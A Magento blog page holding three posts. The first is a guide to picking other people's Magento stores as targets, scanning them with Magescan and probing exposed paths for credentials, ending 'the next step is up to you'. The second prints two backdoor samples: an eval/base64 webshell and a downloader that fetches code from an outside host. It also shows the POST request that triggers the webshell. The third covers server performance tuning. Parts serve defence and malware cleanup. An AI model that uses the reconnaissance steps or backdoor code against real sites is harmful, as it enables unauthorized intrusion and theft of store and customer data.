Category: Magento

How to crack or hack (investigate vulnerabilities) of a Magento Website

It is actually rather simple to find vulnerabilities and extract information for a magento site. The developers are usually caught up in feature development instead of maintaining and securing the server. Many times the developers take on the role of system administrators and problems are only picked up after it is too late.

Finding a Target

There are a few ways to do this but the main thing is the store needs to be magento. So I advise installing Wappalyser which will tell you whether the site you are currently on is Magento.

Another way is browsing forums and q/a places for people encountering problems with magento where they actually just give the URL of the production site.

Sometimes just going to popular ecommerce stores and watching the wappalyser plugin can help isolate targets.

Sometimes people just post public gists of vulnerable sites like this list of Magento vulnerable sites or 5900 sites found to be skimming payment info

Scan the Site

There is a nice tool available which will give you info about the site, possible vulnerable extensions it has installed and all a list of locations that are not hidden from the public. This is the tool you would least expect to work but it is in fact the best tool to use. You will be surprised how many installations allow public users to view things they shouldn’t.

The tool is called Magescan.

Run it with php magescan.phar scan:all http://example.com

This will give you results like:


 Magento Information  
                       

+-----------+------------------+
| Parameter | Value            |
+-----------+------------------+
| Edition   | Community        |
| Version   | 1.9.2.1, 1.9.2.2 |
+-----------+------------------+

                     
  Installed Modules  
                     

No detectable modules were found

                       
  Catalog Information  
                       

+------------+-------+
| Type       | Count |
+------------+-------+
| Categories | 14    |
| Products   | 1146  |
+------------+-------+

           
  Patches  
           

+------------+---------+
| Name       | Status  |
+------------+---------+
| SUPEE-5344 | Unknown |
| SUPEE-5994 | Unknown |
| SUPEE-6285 | Unknown |
| SUPEE-6482 | Unknown |
| SUPEE-6788 | Unknown |
| SUPEE-7405 | Unknown |
| SUPEE-8788 | Unknown |
+------------+---------+

           
  Sitemap  
           

Sitemap is not declared in robots.txt
Sitemap is accessible: http://www.example.com/sitemap.xml

                     
  Server Technology  
                     

+--------------+-------------------------+
| Key          | Value                   |
+--------------+-------------------------+
| Server       | Apache                  |
| X-Powered-By | PHP/5.6.29-1~dotdeb+7.1 |
+--------------+-------------------------+

                          
  Unreachable Path Check  
                          

+----------------------------------------------+---------------+--------+
| Path                                         | Response Code | Status |
+----------------------------------------------+---------------+--------+
| .bzr/                                        | 404           | Pass   |
| .cvs/                                        | 404           | Pass   |
| .git/                                        | 404           | Pass   |
| .git/config                                  | 404           | Pass   |
| .git/refs/                                   | 404           | Pass   |
| .gitignore                                   | 404           | Pass   |
| .hg/                                         | 404           | Pass   |
| .idea                                        | 404           | Pass   |
| .svn/                                        | 404           | Pass   |
| .svn/entries                                 | 404           | Pass   |
| admin/                                       | 200           | Fail   |
| admin123/                                    | 404           | Pass   |
| adminer.php                                  | 404           | Pass   |
| administrator/                               | 404           | Pass   |
| adminpanel/                                  | 404           | Pass   |
| aittmp/index.php                             | 404           | Pass   |
| app/etc/enterprise.xml                       | 403           | Pass   |
| app/etc/local.xml                            | 403           | Pass   |
| backend/                                     | 404           | Pass   |
| backoffice/                                  | 404           | Pass   |
| beheer/                                      | 404           | Pass   |
| capistrano/config/deploy.rb                  | 404           | Pass   |
| chive                                        | 404           | Pass   |
| composer.json                                | 200           | Fail   |
| composer.lock                                | 404           | Pass   |
| config/deploy.rb                             | 404           | Pass   |
| control/                                     | 404           | Pass   |
| dev/tests/functional/etc/config.xml          | 200           | Fail   |
| downloader/index.php                         | 200           | Fail   |
| index.php/rss/order/NEW/new                  | 401           | Pass   |
| info.php                                     | 200           | Fail   |
| mageaudit.php                                | 404           | Pass   |
| magmi/                                       | 404           | Pass   |
| magmi/conf/magmi.ini                         | 404           | Pass   |
| magmi/web/magmi.php                          | 404           | Pass   |
| manage/                                      | 404           | Pass   |
| management/                                  | 404           | Pass   |
| manager/                                     | 404           | Pass   |
| modman                                       | 200           | Fail   |
| p.php                                        | 404           | Pass   |
| panel/                                       | 404           | Pass   |
| phpinfo.php                                  | 200           | Fail   |
| phpmyadmin                                   | 404           | Pass   |
| README.md                                    | 200           | Fail   |
| README.txt                                   | 404           | Pass   |
| shell/                                       | 403           | Pass   |
| shopadmin/                                   | 404           | Pass   |
| site_admin/                                  | 404           | Pass   |
| var/export/                                  | 403           | Pass   |
| var/export/export_all_products.csv           | 403           | Pass   |
| var/export/export_customers.csv              | 403           | Pass   |
| var/export/export_product_stocks.csv         | 403           | Pass   |
| var/log/                                     | 403           | Pass   |
| var/log/exception.log                        | 403           | Pass   |
| var/log/payment_authnetcim.log               | 403           | Pass   |
| var/log/payment_authorizenet.log             | 403           | Pass   |
| var/log/payment_authorizenet_directpost.log  | 403           | Pass   |
| var/log/payment_cybersource_soap.log         | 403           | Pass   |
| var/log/payment_ogone.log                    | 403           | Pass   |
| var/log/payment_payflow_advanced.log         | 403           | Pass   |
| var/log/payment_payflow_link.log             | 403           | Pass   |
| var/log/payment_paypal_billing_agreement.log | 403           | Pass   |
| var/log/payment_paypal_direct.log            | 403           | Pass   |
| var/log/payment_paypal_express.log           | 403           | Pass   |
| var/log/payment_paypal_standard.log          | 403           | Pass   |
| var/log/payment_paypaluk_express.log         | 403           | Pass   |
| var/log/payment_pbridge.log                  | 403           | Pass   |
| var/log/payment_verisign.log                 | 403           | Pass   |
| var/log/system.log                           | 403           | Pass   |
| var/report/                                  | 403           | Pass   |
+----------------------------------------------+---------------+--------+

So we get some pretty juicy information here. Often the Unreachable Path Check fails, give the best results.

Just go to those locations check it out you might get a nice readme.md or some db credentials.

There are also some other files you could look out for, like this Simple PHP file manager called file_manager.php. Some developers just don’t care and commit this file in the root of a magento site. So anyone accessing the file can actually delete every file on a production server.

Next Steps

The information has now been gathered the next step is up to you…

Finding Malicious Code on Magento

The first thing to do is check your site from an outside perspective, as any other black hatter would do.

The Frontend scan

Use Magescan: ./magescan scan:all <site>

This scan will usually tell you what patches will be applied. First thing to do would be to patch them immediately.

Next thing is to check if there are any known modules that are vulnerable under Installed Modules. A classic problem extension is:


+------------------------+-----------+
| Module                 | Installed |
+------------------------+-----------+
| VladimirPopov_WebForms | Yes       |
+------------------------+-----------+

This extension allows users to upload anything they want onto your server including files with the extension .php

So get rid of that thing as soon as you  can.

A server side scan

Now time to scan for vulnerabilities and remote execution that are already a part of your magento site.

The best thing to use would be a Magento malware collection

The command to run is yara -r rules/all-confirmed.yar /path/to/directory

It will check against known MD5 hashes for files and for eval expressions:


eval_post My-site/magento/media/dhl/info.php
md5_c647e85ad77fd9971ba709a08566935d My-site/magento/media/wysiwyg/12345.php

The contents of info.php is:


$hash = 'fc5e038d38a57032085441e7fe7010b0';
if(isset($_POST['ue'])){
    if (md5($_POST['hash']) === $hash) @eval(base64_decode($_POST['ue']));
    exit;
}
if(isset($_GET['sesion'])){
    phpinfo();
}

The contents of 12345.php is:


$cmd1 = file_get_contents("http://seotramp.com/wp-content/plugins/youtuber/cache.txt");
$fo = fopen("cache.php", "w+");
fwrite($fo, $cmd1);
fclose($fo);

I am not too sure about the second one, as that is more of a redirect hack that sends you and maybe your users to a Be Rich now if you use the Binary Options System

The first one is remote execution where you encode your code base64 and add a hash. I think they add all of these extra things just to confuse developers into thinking there is nothing going on here.

So to try it out we can make a post to: media/dhl/info.php

With

$_POST[‘ue’] = ZWNobyAnaGVsbG8gd29ybGQnOw==

and

$_POST[‘hash’] = helloworld

ZWNobyAnaGVsbG8gd29ybGQnOw==, base64 decoded is echo hello world;

So that is remote execution

 

Speeding up Magento Server Response a journey into High Performance

I have been working on quite a highly visited magento store by South African standards. The task is to improve the performance and response times inclusing the magento server response and page load of the site as that had never been a high priority. Furthermore lots of custom development and dare I say it magento module and even core overrides were made to the site.

So here is a pragmatic guide to analysing a magento 1.9 site for performance and a guide on how to speed up the site, specifically magento server response.

Lots of Variables

One of the most difficult things is actually isolating problems. There are many factors to take into account and many reason as to why the site is slow. There are so many interconnected parts that may be the bottleneck. It could be server hardware, non-optimised or index database, bad modules, web server configuration, file system read and writes, external scripts, render blocking js, location of the server and many other things.

Page Load Time vs Server Response Time

A very important thing to understand is the difference between server response time and page load time. As the ways to fix the problems are different in their natures.

Page load time is the time it takes to download and display the entire content of a web page in the browser window (measured in seconds). MaxCDN Page load time

Server response time is the amount of time it takes for a web server to respond to a request from a browser. Varvy server response time

When you request the webpage, the server starts building the page by querying the database and any external services for data and then building the page. That is your server response. So server response time is actually a constituent or subset of page load time.

Finding out if your Magento server response is irregular

The hardest part of making any findings is using a benchmarking or testing tool that is consistent and that does not depend on your network speed or some other factor. The best thing I have found for the magento server response test is the built in magento profiler used in conjunction with the AoeProfiler, which is a tool that makes readibility of the profiler much easier. Also you want to host the site locally. Fabrizio Branca describes how to setup the Aoe profiler.

Pitting your site against a standard magento with sample data at the same version

If your site is responding locally on any page with a response time of greater than 2000 ms you can safely say that something is wrong.

magento-profiler-long-response-time

If your response is not so high, then make sure your local site you are enhancing has cache off and test it against your local standard magento install with cache off. Also test with cache on and see if there is a dramatic difference (> 200ms)

If so you will need to profile your site as to why it has a slower server response

Profiling and Fixing your Magento Server Response

This is the most difficult part. So test your site against the standard magento with both cache on or both cache off, and test on the same pages. So wither home page/ cms page, product view page and category page.

Then expand the profiler and find any extra calls that are done on your site that aren’t done on the magento site. These are usually your bottlenecks. Also any big red blocks needs to be looked at in detail.

Now for the difficult part, you need to find out why these calls are made and best case remove these modules/inefficiencies. Second best is to fix these inefficiencies and also make sure that if cache is turned on and things are not caching you need to find you why.

Your first goal is to have similar server response times to the standard magento site.

The important thing to remember is everything after the server response is frontend and can be optimised, like stop render blocking js, minifying js and css and enahancing image load. The server response is the time where the user is waiting for content and is very important and recommended to aim for < 200ms.

Leveraging Cache

If cache is not turned on in your production site, you are losing a lot of the speed gains you should be getting. Just take note that cache needs to be warmed up so after clearing your cache folder var/cache the first request will be slow and subsequent request will be much faster.

The Cache settings are found at: System -> Cache Management

magento-cache-settings

I have done a few tests on my local craptop…using the built in php server. Remember to server the site with php -S vanilla.dev:4444 router.php so that the links work. More info on this post.

Cache is the top one, uncached is below.

Home screen:

magento-fresh-product-screen-cache-offmagento-fresh-product-screen-cache-on

Category Page:

magento-fresh-category-screen-cache-offmagento-fresh-home-screen-cache-on

Product Page:

magento-fresh-home-screen-cache-offmagento-fresh-category-screen-cache-on

So caching will at its worst will double the speed of the site normally, running locally. You may find when deploying to production environments that usually have more resources than your local pc the gain may halve.

So a 600 ms gain, will only be 300 ms on production environments.

Be wary of your custom templates not being cached

If you have a custom block for example MyModule/Block/Page/Html/TopMenu.php to override the standard top menu, but you are not using a template file called topmenu.phtml and have not made the correct provisions for this it will not be cached. For example you go and call your file megamenu.phtml and call $this->setTemplate('megamenu/page/html/megamenu.phtml).

That can really catch you out especially if it on a template that is on every page.

To check your blocks that are being cached you can use another great tool by Aoe called AoeTemplateHints, it will give you allot more information about your blocks and templates and is particularly good when looking at caching.

Results from fixing the Menu that was not being cached

We found that the megamenu at the top of the site was never cached server side because the template, never enabled cache on initialisation of the block. We fixed this and deployed and the results are quite astounding.

We implemented the fix on October the 5th in the morning.

Category view the improvement varies because of another inefficient module on the page. The gain here was about 300ms – 400ms.

category-view-menu-cache-fix

Search results improved about 300ms

search-results-view-menu-cache-fix

CMS home page about 350ms, ignore the spike

cms-home-page-view-menu-cache-fix

Product view page improved by 400ms, just under half

product-view-menu-cache-fix

The index page gains in excess of 400ms

cms-home-page-view-menu-cache-fix

So a huge and significant improvement in speed. Honing in on the 200ms server response time. But there is still more work to be done on certain pages.

Another slow module: Product badges and Panels

There was a piece of horrendously slow and badly architectured code:

  1. Is passing the product id to the template block, then retrieiving the entire product by Id a good way?

<?php echo $this->getChild('badges')->setData("product_id", $_product->getId())->toHtml() ?>

 

  1. Using a LIKE query for each product in the catalog list, and not using cache in the block.
<?php
 $productId = $this->getProductId();
 if (!$productId)
 {
 if ($product = Mage::registry('product'))
 {
 $productId = $product->getId();
 }
 }
?>
<?php if ($productId): ?>
 <?php
 $product = Mage::getModel('catalog/product')->load($productId);
 $attributes = Mage::getResourceModel('catalog/product_attribute_collection')->addFieldToFilter('attribute_code', array('like' => 'badge_%'))->getItems();
 foreach ($attributes as $attribute):
 ?>
 <?php if (!$product->getData($attribute->getAttributeCode())) continue; ?>
 <?php echo $this->getLayout()->createBlock('cms/block')->setBlockId($attribute->getAttributeCode())->toHtml(); ?>
 <?php endforeach; ?>
<?php endif; ?>

After fixing the catalog pages and search results are below:

catalog-page-improvement search-results-speed-enhancement

Reports: Should you turn it off?

The magento reports observer does add some time to the product view page magento server response time…about 50 – 150ms from my local testing.

reports-profiler

Right at the bottom of the image is OBSERVER: reports

There is a gist that gives you the instructions, but rather add those changes in config.xml: I have tested locally and it removes that time from

Is AppTrain Minify HTML CSS JS Making Server Response Slow?

apptrain-minify-css-html-js-slowing-down-server-response

As you can see The Apptrain Minify_HTML::process and JSMin::min methods are slowing down server response by about 22%.

Strangely these methods do not show up in the magento profiler, as a custom library is used.

After disabling the AppTrain Minify HTML CSS JS the html was larger but a few measily kilobytes but server response time gains ranged from 150ms to 450 ms. A staggering result. The verdict is Do not use Apptrain Minify HTML CSS and JS, it will slow down your site. Check the results below.

Minify enabled:
Product: 25.8 KB = 1.22s
Category: 24.8kb = 1.06s
Home: 21.2kb = 612ms

Minify Disabled:
Product: 28.4 Kb = 717ms
Category: 26.7kb = 814ms
Home: 22.6Kb = 479ms

Take homes

So Looking at the last 3 months, I have significantly increased the average server response from about 1200ms to just over 400ms. So that is a 67% improvement. The apdex score has also increased significantly.

improving-server-response

Stoked with that but the page load still needs a bit of an enhancement and using varnish cache could probably drop this significantly. Enhancing SSL and moving the server closer to the customers would increase that time to first byte.

Common Coding Mistakes and Making Magento Fly

There is a good slideshow showing silly mistakes and how to correct them, and making standard magento fly.

Enable PHP Zend OPCache

There is an excellent article from amsty that highlights that in the PHP accellerator debate PHP OpCache is the best thing to use. It also debunks the Percona vs MySQL debate, showing that it is much of a muchness.

There is a good tutorial specifying how to implement OpCache. I will implement and then test the results.

But this is enabled by default on PHP 5.6 and greater I think. It just requires some variable tweaking.

Server

Scaling Magento Slideshow

More info on the setup above

Good article on implementing HHVM

Optimised OpCache Variables

HHVM 4x Performance boost (Click bait?)

A decent magentoflow question

Magento and frontend optimisations

Resources

Here is a list of excellent resources to make sure your magento is flying

Testing and Load Testing Resources (Speed Test Toolkit)

Varnish

The pinnacle of performance, in terms of getting < 10 ms response times is Varnish Cache.

Here is the repo, and a list of magento sites that use varnish can be checked. You will notice that first load may be normal magento times, but next load can be less than 15 ms.

Increase the Php memory limit to unlimited in .htaccess

Redis Cache

HHVM

Varnish

Nginx

OpCode Cache

Google Pagespeed Insights

Low Hanging Fruit

Caching

Flat catalog and product page